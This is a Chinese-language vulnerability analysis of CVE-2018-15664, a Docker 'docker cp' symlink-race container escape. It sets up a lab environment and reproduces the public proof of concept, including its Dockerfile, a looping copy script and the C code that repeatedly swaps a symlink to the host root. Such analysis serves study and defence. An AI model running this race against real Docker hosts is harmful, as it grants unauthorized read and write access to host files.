影响范围
Docker 17.06.0-ce~17.12.1-ce:rc2
Docker 18.01.0-ce~18.06.1-ce:rc2
漏洞类型
容器逃逸
利用条件
TOCTOU
漏洞概述
2019年6月份,Docker容器被曝存在权限逃逸安全漏洞(漏洞编号:CVE-2018-15664),攻击者可利用此漏洞访问主机文件系统的任意文件,该漏洞攻击的基本前提是FllowSymlinkInScope遭受了最基本的TOCTOU攻击(即time-to-check-time-to-use攻击,黑客可利用窗口期在解析资源路径之后但在分配的程序开始在资源上操作之前修改路径),这里的FllowSymlinkInScope的目的是获取一个既定路径并以安全的方式将其解析,就像该进程是在容器内那样,完整路径被解析后被解析的路径传递了一个比特位,之后在另外一个比特位上操作(在docker cp情况下,在创建流式传输到客户端的文档时打开),如果攻击者能够在路径解析之后但在操作之前添加一个符号链接组件,那么就能以root身份在主机上解析符号链接路径组件,在"Docker cp"情况下它将导致任何人读取并写入主机任何路径的访问权限
漏洞环境
这里使用Metarget来构建环境:
代码语言:javascript复制./metarget cnv install cve-2018-15664
docker --version
漏洞分析
漏洞POC:
https://github.com/Metarget/cloud-native-security-book/tree/main/code/0302-开发侧攻击/02-CVE-2018-15664/symlink_race/build
文件目录查看:
代码语言:javascript复制root@ubuntu:/home/ubuntu# tree symlink_race
symlink_race
├── build
│ ├── Dockerfile
│ └── symlink_swap.c
├── run_read.sh
└── run_write.sh
1 directory, 4 files
root@ubuntu:/home/ubuntu#
文件用途说明:
- Dockerfile : 构造Docker镜像文件
- symlink_swap.c : 运行在Docker容器内部的POC
- run_read.sh : 实现读取宿主机文件内容的Shell脚本
- run_write.sh : 实现向宿主机中写文件的Shell脚本
Dockerfile内容:
首先获取基础镜像opensuse/tumbleweed,然后在镜像里编译添加了poc文件/symlink_swap , 最后写了一个falg 性质的文件/w00t_w00t_im_a_flag,内容为"FAILED -- INSIDE CONTAINER PATH"
代码语言:javascript复制# Build the binary.
FROM opensuse/tumbleweed
RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
COPY symlink_swap.c /builddir/symlink_swap.c
RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c
# Set up our malicious rootfs.
FROM opensuse/tumbleweed
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
COPY --from=0 /builddir/symlink_swap /symlink_swap
ENTRYPOINT ["/symlink_swap"]
Run_read.sh内容:
代码语言:javascript复制SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# Create our flag.
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"
# Run and build the malicious image.
docker build -t cyphar/symlink_swap
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH"
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
# Now continually try to copy the files.
idx=0
while true
do
mkdir "ex${idx}"
docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
idx=$(($idx 1))
done
Run_read.sh脚本在host主机/w00t_w00t_im_a_flag文件写入falg内容SUCCESS -- COPIED FROM THE HOST然后build,run cyphar/symlink_swap容器,最后写了个while死循环实现不间断docker cp行为
Symlink_swap.c重点内容:
代码语言:javascript复制 /*
* Now create a symlink to "/" (which will resolve to the host's root if we
* win the race) and a dummy directory at stash_path for us to swap with.
* We use a directory to remove the possibility of ENOTDIR which reduces
* the chance of us winning.
*/
if (symlink("/", symlink_path) < 0)
bail("create symlink_path");
if (mkdir(stash_path, 0755) < 0)
bail("mkdir stash_path");
/* Now we do a RENAME_EXCHANGE forever. */
for (;;) {
int err = rrenameat2(AT_FDCWD, symlink_path,
AT_FDCWD, stash_path, RENAME_EXCHANGE);
if (err < 0)
perror("symlink_swap: rename exchange failed");
}
return 0;
}
symlink_path为argv[1]传递过来的参数,从run_read.sh中我们得知为目录/totally_safe_path,然后使用symlink函数将symlink_path软链接至系统根目录,最后使用for (;;)死循环调用rrenameat2函数,创造赢得TOCTOU攻击的机会,根据作者介绍poc脚本只有1%的机会成功利用TOCTOU攻击,但是在10s后就极可能的成功获取到host主机上的文件
漏洞利用
执行run_write.sh脚本运行恶意容器,然后不断执行docker cp命令,漏洞未触发时,宿主机上的/w00t_w00t_im_a_flag的内容为"FAILED -- HOST FILE UNCHANGED"
代码语言:javascript复制./run_write.sh
参考连接
https://seclists.org/oss-sec/2019/q2/131